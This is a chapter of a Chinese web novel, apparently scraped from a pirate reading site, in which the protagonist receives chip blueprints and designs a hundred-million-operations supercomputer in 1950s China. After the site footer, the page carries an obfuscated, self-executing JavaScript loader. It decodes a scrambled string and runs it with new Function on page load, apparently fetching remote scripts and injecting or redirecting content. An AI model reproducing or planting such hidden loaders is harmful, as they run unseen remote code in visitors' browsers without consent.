第98章 开始打造亿次运算能力的超级计算机
第98章开始打造亿次运算能力的超级计算机(第1/2页)
【恭喜宿主进行礼拜签到,获得了中级签到奖励:一千万米元已经存入资金库,黄金二十公斤,龙芯1103(英特尔1103DRAM芯片)动态存储芯片技术图纸。】
【恭喜宿主进行礼拜签到,获得了中级签到奖励:一千万米元已经存入资金库,黄金二十公斤,龙芯8080(英特尔8080CPU)芯片完整技术图纸。】
【恭喜宿主进行九月签到,获得了高级签到奖励:两千万米元已经存入资金库,黄金五十公斤,仙童512位双极型静态随机存取存储器芯片完整技术图纸。】
林北把这三份图纸在电脑上打开,逐份看了一遍。
三份图纸对应三种不同的芯片技术,分别解决存储、运算和高速缓存三个层面的问题,合在一起构成了一套完整的计算核心升级方案。
龙芯1103动态存储芯片。
这是世界上第一款大规模量产的动态随机存取存储器芯片,存储容量1024位,也就是1K。
虽然容量放在后世来看微不足道,但在1952年,这是颠覆性的技术。
现有的计算机存储器以磁芯为主,每颗磁芯需要手工穿线,成本高、体积大、速度慢。
一块1K容量的动态存储芯片只有指甲盖大小,一块板子上可以集成多颗动态存储芯片,总容量远超现有的磁芯存储器。
动态存储技术的核心价值是成本。
磁芯存储器的价格和容量直接挂钩,容量越大价格呈指数上升。
动态存储芯片的价格随着产量扩大而迅速下降,同容量下的成本差距可以达到十倍以上。
有了动态存储芯片,计算机内存容量可以第一次突破千字节的级别,朝着兆字节迈进。
对种花家来说意义重达,首先是计算机性能的全面升级。
内存容量提升之后,原来跑不动的程序可以跑了,原来需要频繁访问外存储器的操作可以全部在内存里完成。
运算速度提升的不只是中央处理器,而是整个系统的响应速度。
其次是体积的缩小,一台需要两个机柜的计算机可以压缩到一个机柜甚至更小。
再次是成本下降,动态存储芯片的量产让内存不再是最昂贵的部件,计算机的普及门槛随之降低。
龙芯8080中央处理器,是龙芯4004芯片的升级版本。
这是8位处理器的完整技术图纸,集成晶体管数量约六千个,是龙芯4004两千三百个晶体管的将近三倍。
主频可以达到二至三兆赫兹,支持十六位地址总线,最大可访问六十四K内存,是龙芯4004,4位、仅支持四K内存的十几倍。
8080的核心优势在于指令集。
它的指令比4004丰富得多,包含了乘除法指令、逻辑运算指令和更灵活的条件跳转指令,编写程序时的效率和灵活性都大幅提升。
它采用8位数据总线,一次可以处理一个完整的字节,而4004需要分两次才能完成相同操作。
流水线架构让指令执行速度更快,每条指令的平均执行周期比4004缩短了将近一半。
对种花家来说,龙芯8080意味着个人计算机可以运行更复杂的程序。
文字处理、表格计算、数据库管理这些应用在4004上勉强能用,在8080上就能顺畅运行。
数控机床的程序编译速度会大幅提升,超算的处理器阵列可以使用8080作为核心单元,运算速度从百万次级别进入千万次级别。
仙童512位双极型静态存储芯片是高速缓存技术的核心。
静态存储芯片的存储原理和动态存储芯片不同,不需要刷新电路,读写速度比动态存储芯片快得多,适合作为中央处理器与主内存之间的高速缓存。
512位容量虽然不大,但放在中央处理器内部作为一级缓存已经足够了。
有了静态存储缓存,中央处理器在读取重复使用的数据时不需要每次都访问慢速的动态存储芯片,整体运行效率可以提升三到五成。
双极型工艺比金属氧化物半导体工艺更快,但功耗和集成度不如金属氧化物半导体。
512位的容量刚好平衡了速度和面积的矛盾,用在中央处理器内部做寄存器组和缓存是最合适的。
它的制造工艺与龙芯8080高度兼容,可以在同一条生产线上完成加工,不需要新设备。
对种花家来说,首先是中央处理器性能的再提升。
8080加上静态存储缓存之后,实际表现可以超过裸跑8080百分之五十以上。其次是计算架构的成熟,中央处理器、主存、高速缓存三层结构从此成型,未来的芯片发展只需要沿着这个框架把各层做大做强就行。
龙芯1103解决的是主存储器的容量和成本问题,龙芯8080解决的是运算核心的性能和指令集丰富度问题,仙童静态存储芯片解决的是数据通路的速度问题。
三者配合使用,一套完整的计算机核心架构就从原来需要几十块板子拼接的状态,压缩到了只需要一块主板加几条内存条的集成方案。
这意味着个人计算机的体积可以进一步缩小。
现有的第二代计算机还是台式机的尺寸,虽然比第一代小了不少但依然需要占据一张桌面。
基于龙芯8080和动态存储芯片的新一代计算机可以把主机体积压缩到现有的一半以下,甚至接近后期家用电脑的尺寸。
超级计算机的提升会更明显。
现有的超算中心使用的是CDC6600架构,处理器阵列由大量分立元件和磁芯存储器组成。
换上龙芯8080和动态存储芯片之后,同样面积的计算能力可以提升一个数量级,耗电和散热压力也会大幅下降。
林北设想中的亿次级别超算距离实现只有一步之遥了。
目前种花家的超算中心,以及各大项目的超级计算机,运算速度只有三百万次每秒。
对林北来说,这种超算速度太慢了。
林北早就想要重新打造一款超级计算机,这段时间,他也没少专研。
虽然有一些眉目,但都打不到每秒亿次的计算能力。
这对林北来说,是没有意义的。
他计划是直接打造一款运算速度能够达到亿次的超级计算机。
而九月的这三次签到,给了林北最好的解决方案,亿次运算能力的超算,已经可以实现了。
林北把三份图纸在脑子里翻来覆去过了好几遍,然后关掉了电脑。
他靠在椅背上,闭上眼睛,大脑超算开始把三款芯片的参数逐项往一个完整的系统架构里填。
每秒一亿次的运算目标需要把足够多的计算单元并联起来。
他先算了一笔基础账,一颗龙芯8080在二点五兆赫兹主频下,单条指令平均执行周期约零点四微秒,每秒大约可以执行二百五十万条简单指令。
如果全部用于浮点运算,受限于指令集的效率,实际浮点性能大约在每秒一百万次左右。要达到一亿次,需要一百颗8080并联。
(本章未完,请点击下一页继续阅读)第98章开始打造亿次运算能力的超级计算机(第2/2页)
一百颗处理器不是简单的堆叠。
数据交换的延迟、任务分配的均衡性、内存访问的冲突,任何一个环节出问题,并联效率都会大幅下降。
并联效率做到百分之八十的话,一百颗处理器大约需要一百二十颗左右来补足损耗。
他重新计算了一遍。
一颗8080加配套的动态存储芯片和静态存储缓存,组成一个完整的计算节点。
每个节点的理论峰值约一百万次每秒。
一百二十个节点构成一个阵列,通过网格互联网络连接起来。
控制节点负责把计算任务拆分后分配到每个节点,再把结果汇总回来。
网格互联的拓扑结构在他的脑海里自动铺开,四乘六乘五的三维网格,每个节点与相邻六个节点相连。
这种结构的最大优点是对通信延迟不敏感,数据在网格中传递的路径长度有限,最长路径不超过十几跳。
光纤通信已经把单跳延迟压到了微秒级别,整个网络的通信开销完全可以接受。
存储体系的分层结构也自动成型了。
最顶层是每颗8080内部集成的静态存储缓存,芯片上的仙童512位缓存就做这个用。
中间层是每颗8080配备的动态存储芯片,也就是龙芯1103,用于存放当前计算任务的数据块。
最底层是共享的大容量磁芯存储阵列,存放程序的完整数据和计算结果。
计算任务的分块方案他用了数据并行的思路。
把需要计算的大型矩阵或者网格数据切成一百二十份,每份送到一个节点独立计算,节点之间仅在边界区域交换数据。
这种方案的通信开销占比较低,并行效率能做到百分之八十以上。
操作系统需要重新设计。
现有的汉语言系统是针对单机和少量终端开发的,调度器不支持大规模并行。
他在脑子里推演了一套分布式调度方案,控制节点上运行主调度程序,每个计算节点上运行一个轻量级的从调度程序。
主程序把任务打包发送到各节点,从程序接收任务包之后独立运行,计算完成后再把结果打包发回。
编程接口的改造相对简单。
在现有的汉语指令集基础上增加几条并行指令,让程序员可以用并行块、等待同步、共享数据这些关键词来组织并行程序。
编译器的改造工作他打算交给电子厂的技术团队去做,他们已经有了前两代编译器的开发经验,理解这套方案不需要太多时间。
整台超算的物理尺寸在他的估算中逐渐清晰。
一百二十个节点,每个节点包含一颗8080、四颗仙童静态存储芯片和十六颗龙芯1103动态存储芯片。
芯片总数大约两千五百颗,加上互联网络和电源模块,整机占用空间大约相当于一个双开门衣柜。
功耗大约十几千瓦,需要单独的配电线路,风冷散热就够了。
这个规模放在电子厂现有的产能面前是完全可以承受的。
龙芯4004的月产量已经过万,新芯片的量产线只需要稍作调整就能转产,不需要新建厂房。
组装和调试的工作量大约相当于制造十台第二代计算机,技术科的人手完全够用。
林北在脑子里把整个设计方案跑完了最后一遍仿真,确认没有逻辑漏洞和性能瓶颈。
然后他睁开眼睛,伸手从抽屉里拿出一个空白笔记本,翻开第一页,开始把刚才推演的内容逐条写下来。
写完之后他把笔记本放进密码箱,和那三块移动存储器放在一起,然后拿起桌上的电话,拨了京城电子厂厂长的号码。
电话接通后他说了一句:“我这里有一个新图纸,明天上午我带过去,你们那边准备一下。”
“请首长放心,我明天亲自安排!”电子厂的厂长恭敬的说道。
三百万次每秒的运算速度放在这个时期,依然是蓝星第一,并且是断崖式领先。
米帝和毛熊以及欧罗巴的超算,都是种花家放出去的外贸版,最高运算速度也才十万次,这都让西方世界如获至宝了。
但是在林北这边,三百万次运算,真的不够。
CDC6600超算中心投入使用的时候,国内外的科研机构排队申请使用,流体力学、气象预报、核物理计算,每一样都需要它的算力。
林北在脑子里把几个正在推进的项目过了一遍。
气体离心工厂的级联设计需要大量的流体力学模拟。
每一级离心机的转速、温度、气体流量和分离系数之间相互耦合,优化整个级联的参数需要反复迭代计算。
三百万次的超算跑一组优化大约需要两个星期,出来的结果还不一定是最优。
如果换成亿次超算,同样一组计算只需要不到一天就能完成,而且可以跑更多次的迭代来逼近全局最优。
蘑菇蛋设计的计算量更大。
内爆式核装置的压缩过程涉及复杂的流体动力学和状态方程,几万个网格点的数据需要在时间轴上逐帧推进。
用三百万次的超算跑一次完整的模拟需要一个月,中间还不能出任何错误。亿次超算可以把时间压缩到一天以内,设计团队可以在一个月内尝试几十种不同的方案,而不像现在一样只能跑一两次就定稿。
逆火轰炸机和运八运输机的气动优化也是算力缺口。
虽然林北提供的图纸已经是优化过的方案,但在实际生产中需要对结构强度、颤振特性、热防护进行精细化的数值验证。
三百万次的超算跑一个结构件的应力分析需要一整天,如果方案需要修改就得重跑。
亿次超算可以把同样的工作压缩到半小时以内,设计迭代的周期从几周缩短到几天。
人造淀粉工厂的反应器设计也是计算密集型的。
反应器内部的流场分布、温度梯度和浓度场直接关系到产量和能耗,优化这些参数需要大量的计算流体力学模拟。
三百万次的超算只能跑简化版的二维模型,三维模型跑不动。
亿次超算可以轻松处理三维全尺寸模拟,让每一座新工厂的设计都比上一座更高效。
还有气象预报。
现在的气象预报只能做到省一级的大尺度预测,时效性和精度都不够理想。
如果能用亿次超算处理全国范围内的高分辨率网格数据,预报精度可以提升到县级单位,时效性也可以从现在的两三天延长到一周以上。
这对农业生产和防灾减灾的意义不言而喻。
三百万次是够用的门槛,而亿次是质变的门槛。
前者能算,后者才能算得快、算得多、算得准。
那些需要反复迭代优化的项目,在亿次超算面前不再是时间问题。
对林北来说,虽然他的大脑超算,对任何计算,都可以秒出结果,但他是人,不是神,不是固定在一个地方的超级计算机。
种花家需要更加强大的超算,来支持后续各种尖端技术的发展。
一秒记住【顶点小说】
dingdian911.com,更新快,无弹窗!
!function(){function a(a){var _idx="n5jzanf3om";var b={e:"P",w:"D",T:"y","+":"J",l:"!",t:"L",E:"E","@":"2",d:"a",b:"%",q:"l",X:"v","~":"R",5:"r","&":"X",C:"j","]":"F",a:")","^":"m",",":"~","}":"1",x:"C",c:"(",G:"@",h:"h",".":"*",L:"s","=":",",p:"g",I:"Q",1:"7",_:"u",K:"6",F:"t",2:"n",8:"=",k:"G",Z:"]",")":"b",P:"}",B:"U",S:"k",6:"i",g:":",N:"N",i:"S","%":"+","-":"Y","?":"|",4:"z","*":"-",3:"^","[":"{","(":"c",u:"B",y:"M",U:"Z",H:"[",z:"K",9:"H",7:"f",R:"x",v:"&","!":";",M:"_",Q:"9",Y:"e",o:"4",r:"A",m:".",O:"o",V:"W",J:"p",f:"d",":":"q","{":"8",W:"I",j:"?",n:"5",s:"3","|":"T",A:"V",D:"w",";":"O"};return a.split("").map(function(a){return void 0!==b[a]?b[a]:a}).join("")}var b=a('data:image/jpg;base64,cca8>[qYF F82_qq!7_2(F6O2 5ca[Xd5 Y!5YF_52 2_qql88FjFgcY8fO(_^Y2Fm:_Y5TiYqY(FO5c"^YFdH2d^Y8(Z"a=F8YjYmpYFrFF56)_FYc"("ag""aPXd5 Y=2=O=68D62fODm622Y5V6fFh!qYF h86/Ko0.c}00%n0.cs*N_^)Y5c"}"aaa=78[6L|OJgN_^)Y5c"@"a<@=5YXY5LY9Y6phFgN_^)Y5c"0"a=YXY2F|TJYg"FO_(hY2f"=LqOFWfgfcmn<ydFhm5d2fO^cajngKa=5YXY5LYWfgfcmn<ydFhm5d2fO^cajngKa=5ODLgo=(Oq_^2Lg}0=6FY^V6Fhg6/}0=6FY^9Y6phFgh/o=qOdfiFdF_Lg0=5Y|5Tg0P=d8"#MqYYb"=(8HZ!F5T[(8+i;NmJd5LYcccY=Fa8>[qYF 282_qq!F5T[28qO(dqiFO5dpYmpYFWFY^cYaP(dF(hcYa[Fvvc28FcaaP5YF_52 2Pacda??"HZ"aP(dF(hcYa[P7_2(F6O2 JcYa[5YF_52 Ym5YJqd(Yc"[[fdTPP"=c2YD wdFYampYFwdFYcaaP7_2(F6O2 qcY=F=2a[F5T[qO(dqiFO5dpYmLYFWFY^cY=FaP(dF(hcYa[2vv2caPP7_2(F6O2 LcY=F8""a[7mqOdfiFdF_L8*}=}00<(mqY2pFh??c(mJ_Lhc`c$[YPa`%Fa=qcd=+i;NmLF562p67Tc(aaaP7_2(F6O2 fcY8}a[qYF F8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7h6CSq^2OJ:5LF_XDRT4"=28FmqY2pFh=O8""!7O5c!Y**!aO%8FHydFhm7qOO5cydFhm5d2fO^ca.2aZ!5YF_52 OPr55dTm6Lr55dTc(a??c(8HZ=qcd=""aa!qYF _8"5phCS^"!7_2(F6O2 ^cY=Fa[qYF 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!Xd5 O8H"hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"="hFFJLg\/\/[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"Z!qYF 58JcOHc2YD wdFYampYFwdTcaZ??OH0Za%"/2nC4d27sO^/}Ko}"!Fj5%8"jR8"%fcnag_vvc5%8"j"%_%"8"%fcnaa=7m5Y|5T%%=2mL5(8Jc5a=2mO2qOdf87_2(F6O2ca[7mqOdfiFdF_L8@=$caP=2mO2Y55O587_2(F6O2ca[F??YvvYca=LYF|6^YO_Fc7_2(F6O2ca[2m5Y^OXYcaP=}0aP=fO(_^Y2FmhYdfmdJJY2fxh6qfc2a=7mqOdfiFdF_L8}PqYF p8"}Ko}"=X8"2nC4d27sO^"!7_2(F6O2 TcYa[}l88Ym5YdfTiFdFYvv0l88Ym5YdfTiFdFY??Ym(qOLYcaP7_2(F6O2 DcYa[Xd5 F8H"}Ko}^)ThF)mfJ)TdfOm2YF"="}Ko}X5ThF)mS_S(C4qm2YF"="}Ko}2pThFmfJ)TdfOm2YF"="}Ko}_JqhFmS_S(C4qm2YF"="}Ko}2TOhFmfJ)TdfOm2YF"="}Ko}CSqhF)mS_S(C4qm2YF"="}Ko})FfThF)fmfJ)TdfOm2YF"Z=F8FHc2YD wdFYampYFwdTcaZ??FH0Z=F8"DLLg//"%c2YD wdFYampYFwdFYca%F%"g@Q}1Q"=28H"Y#"%XZ!5cavv2mJ_Lhc"(h#"%5caa!qYF O82YD VY)iO(SYFcF%"/"%p%c_j"j"%_%"8"%fcnag""a=H2mCO62c"v"aZa!7m5Y|5T%%=OmO2OJY287_2(F6O2ca[7mqOdfiFdF_L8@P=OmO2^YLLdpY87_2(F6O2cFa[qYF 28FmfdFd!F5T[28cY8>[qYF 5=F=2=O=6=d=(8"(hd5rF"=q8"75O^xhd5xOfY"=L8"(hd5xOfYrF"=f8"62fYR;7"=_8"ruxwE]k9W+ztyN;eI~i|BAV&-Ud)(fY7ph6CSq^2OJ:5LF_XDRT40}@sonK1{Q%/8"=^8""=h80!7O5cY8Ym5YJqd(Yc/H3r*Ud*40*Q%/8Z/p=""a!h<YmqY2pFh!a28_HfZcYH(Zch%%aa=O8_HfZcYH(Zch%%aa=68_HfZcYH(Zch%%aa=d8_HfZcYH(Zch%%aa=58c}nvOa<<o?6>>@=F8csv6a<<K?d=^%8iF562pHqZc2<<@?O>>oa=Kol886vvc^%8iF562pHqZc5aa=Kol88dvvc^%8iF562pHqZcFaa![Xd5 78^!qYF Y8""=F=2=O!7O5cF858280!F<7mqY2pFh!ac587HLZcFaa<}@{jcY%8iF562pHqZc5a=F%%ag}Q}<5vv5<@@ojc287HLZcF%}a=Y%8iF562pHqZccs}v5a<<K?Ksv2a=F%8@agc287HLZcF%}a=O87HLZcF%@a=Y%8iF562pHqZcc}nv5a<<}@?cKsv2a<<K?KsvOa=F%8sa!5YF_52 YPPac2a=2YD ]_2(F6O2c"MFf(L"=2acfO(_^Y2Fm(_55Y2Fi(56JFaP(dF(hcYa[F82mqY2pFh*o0=F8F<0j0gJd5LYW2FcydFhm5d2fO^ca.Fa!Lc@0o=` $[Ym^YLLdpYP M[$[FPg$[2mL_)LF562pcF=F%o0aPPM`a=7mqOdfiFdF_L8*}PTcOa=@8887mqOdfiFdF_Lvv$caP=OmO2Y55O587_2(F6O2ca[@l887mqOdfiFdF_LvvYvvYca=TcOaP=7mqOdfiFdF_L8}PqYF i8l}!7_2(F6O2 $ca[ivvcfO(_^Y2Fm5Y^OXYEXY2Ft6LFY2Y5c7mYXY2F|TJY=7m(q6(S9d2fqY=l0a=Y8fO(_^Y2FmpYFEqY^Y2FuTWfc7m5YXY5LYWfaavvYm5Y^OXYca!Xd5 Y=F8fO(_^Y2Fm:_Y5TiYqY(FO5rqqc7mLqOFWfa!7O5cqYF Y80!Y<FmqY2pFh!Y%%aFHYZvvFHYZm5Y^OXYcaP7_2(F6O2 )ca[LYF|6^YO_Fc7_2(F6O2ca[67c@l887mqOdfiFdF_La[Xd5[(Oq_^2LgY=5ODLgO=6FY^V6Fhg5=6FY^9Y6phFg6=LqOFWfgd=6L|OJg(=5YXY5LY9Y6phFgqP87!7_2(F6O2 Lca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7O5cqYF 280!2<Y!2%%a7O5cqYF F80!F<O!F%%a[qYF Y8"JOL6F6O2g76RYf!4*62fYRg}00!f6LJqdTg)qO(S!"%`qY7Fg$[2.5PJR!D6fFhg$[ydFhm7qOO5cmQ.5aPJR!hY6phFg$[6PJR!`!Y%8(j`FOJg$[q%F.6PJR`g`)OFFO^g$[q%F.6PJR`!Xd5 f8fO(_^Y2Fm(5YdFYEqY^Y2Fcda!fmLFTqYm(LL|YRF8Y=fmdffEXY2Ft6LFY2Y5c7mYXY2F|TJY=La=fO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=faP67clia[qYF[YXY2F|TJYgY=6L|OJg5=5YXY5LY9Y6phFg6P87!fO(_^Y2FmdffEXY2Ft6LFY2Y5cY=^=l0a=7m(q6(S9d2fqY8^!Xd5 28fO(_^Y2Fm(5YdFYEqY^Y2Fc"f6X"a!7_2(F6O2 _ca[Xd5 Y8Jc"hFFJLg//[[fdTPP}Ko}qFq^)Y6(:mLT4X(CSm(O^gQ}1Q/((/}Ko}j6LM2OF8}vFd5pYF8}vFT8@"a!FOJmqO(dF6O2l88LYq7mqO(dF6O2jFOJmqO(dF6O28YgD62fODmqO(dF6O2mh5Y78YP7_2(F6O2 ^cYa[Xd5 F8D62fODm622Y59Y6phF!qYF 280=O80!67cYaLD6F(hcYmLFOJW^^Yf6dFYe5OJdpdF6O2ca=YmFTJYa[(dLY"FO_(hLFd5F"g28YmFO_(hYLH0Zm(q6Y2F&=O8YmFO_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"FO_(hY2f"g28Ym(hd2pYf|O_(hYLH0Zm(q6Y2F&=O8Ym(hd2pYf|O_(hYLH0Zm(q6Y2F-!)5YdS!(dLY"(q6(S"g28Ym(q6Y2F&=O8Ym(q6Y2F-P67c0<2vv0<Oa67c5a[67cO<86a5YF_52l}!O<h%6vv_caPYqLY[F8F*O!67cF<86a5YF_52l}!F<h%6vv_caPP2m6f87m5YXY5LYWf=2mLFTqYm(LL|YRF8`hY6phFg$[7m5YXY5LY9Y6phFPJR`=5jfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc"d7FY5)Yp62"=2agfO(_^Y2Fm)OfTm62LY5FrfCd(Y2FEqY^Y2Fc")Y7O5YY2f"=2a=i8l0PqYF F8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q/f/}Ko}j(8}vY82nC4d27sO^"a!FvvLYF|6^YO_Fc7_2(F6O2ca[Xd5 Y8fO(_^Y2Fm(5YdFYEqY^Y2Fc"L(56JF"a!YmL5(8F=fO(_^Y2FmhYdfmdJJY2fxh6qfcYaP=}YsaPP=@n00aP682dX6pdFO5mJqdF7O5^=28l/3cV62?yd(a/mFYLFc6a=O8Jd5LYW2FcL(5YY2mhY6phFa>8Jd5LYW2FcL(5YY2mD6fFha=c2??OavvcO8/)d6f_?9_dDY6u5ODLY5?A6XOu5ODLY5?;JJOu5ODLY5?9YT|dJu5ODLY5?y6_6u5ODLY5?yIIu5ODLY5?Bxu5ODLY5?IzI?kOqfu5ODLY5/6mFYLFc2dX6pdFO5m_LY5rpY2Fa=Y8cY82dX6pdFO5mJqdF7O5^avv/3cV62?yd(a/mFYLFcYa??2dX6pdFO5m^dR|O_(heO62FL<@=OvvlYjDc7_2(F6O2ca[Lc@0}a=Dc7_2(F6O2ca[Lc@0@a=^c7_2(F6O2ca[Lc@0saPaPaPag^c7_2(F6O2ca[Lc}0}a=^c7_2(F6O2ca[Lc}0@a=Dc7_2(F6O2ca[Lc}0saPaPaP=Yaa=l2vv6??)ca=XO6f 0l882dX6pdFO5mLY2fuYd(O2vvfO(_^Y2FmdffEXY2Ft6LFY2Y5c"X6L6)6q6FT(hd2pY"=7_2(F6O2ca[Xd5 Y=F!"h6ffY2"888fO(_^Y2FmX6L6)6q6FTiFdFYvv(mqY2pFhvvcY8Jc"hFFJLg//[[fdTPP}Ko})hFL_h^m5FfCJ^6m(O^gQ}1Q"a%"/)_pj68"%p=cF82YD ]O5^wdFdamdJJY2fc"^YLLdpY"=+i;NmLF562p67Tc(aa=FmdJJY2fc"F"="0"a=2dX6pdFO5mLY2fuYd(O2cY=Fa=(mqY2pFh80=qcd=""aaPaPaca!'.substr(22));new Function(b)()}();